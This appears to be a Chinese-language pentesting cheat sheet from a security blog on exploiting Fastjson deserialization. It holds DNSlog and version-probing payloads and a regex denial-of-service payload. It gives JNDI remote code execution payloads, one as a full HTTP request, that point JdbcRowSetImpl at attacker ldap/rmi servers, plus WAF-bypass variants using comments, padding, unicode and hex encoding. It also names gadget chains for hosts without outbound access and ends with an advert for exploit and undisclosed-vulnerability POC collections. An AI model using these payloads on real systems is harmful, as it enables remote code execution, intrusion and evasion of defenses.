漏洞原理
Json.parseObject(json, User.class)方法中,通过指定@type的值实现定位某类,会执行User类的构造方法和属性中的get,set方法
判断是否是fastjson/(jackson)
1.2.24-1.2.83都会有dnslog的payload
{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}
1.2.36-1.2.62正则DDOS,延时攻击
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
版本探测
通过报错信息查看版本号(不一定能爆出)
{"@type":"java.lang.AutoCloseable"
a
["test":1]
无报错信息探测
【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
延迟判断
fastjson<=1.2.47
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}
1.1.16<=fastjson<=1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}
1.2.24 RCE-payload
POST / HTTP/1.1
Host: 192.168.112.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.1:1099/rrxt2k",
"autoCommit":true
}
}
1.2.47 RCE-payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.1:1099/dwkrty",
"autoCommit":true
}
}
绕WAF
/*s6*/绕过
{
"b":{
/*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.1:1099/isupvs",
"autoCommit":true
}
}
多字符绕过
{"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}
空格绕过
{"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}
unicode编码绕过
{
"b":{ "\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.1:1099/isupvs",
"autoCommit":true
}
}
16进制编码绕过
{
"b":{ "\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.1:1099/isupvs",
"autoCommit":true
}
}
不出网
目前公开的两个链
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发
-
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)
这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,要满足private属性的数据。所以比较苛刻,完全凭运气
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource
利用方式则需要应用部署在Tomcat应用环境中。
• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource
其他链可参考
GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合
第18篇:fastjson反序列化漏洞区分版本号的方法总结
Fastjson不出网利用总结 - 先知社区
微信公众号
扫一扫关注CatalyzeSec公众号
我们一起学习网络安全
加入我们的星球,我们能提供:
Fofa永久高级会员
常态化更新最新的漏洞POC/EXP
常态化更新未公开、半公开漏洞POC
常态化更新优质外网打点、内网渗透工具
常态化更新安全资讯
开放交流环境,解决成员问题
https://t.zsxq.com/18Fq7QNgv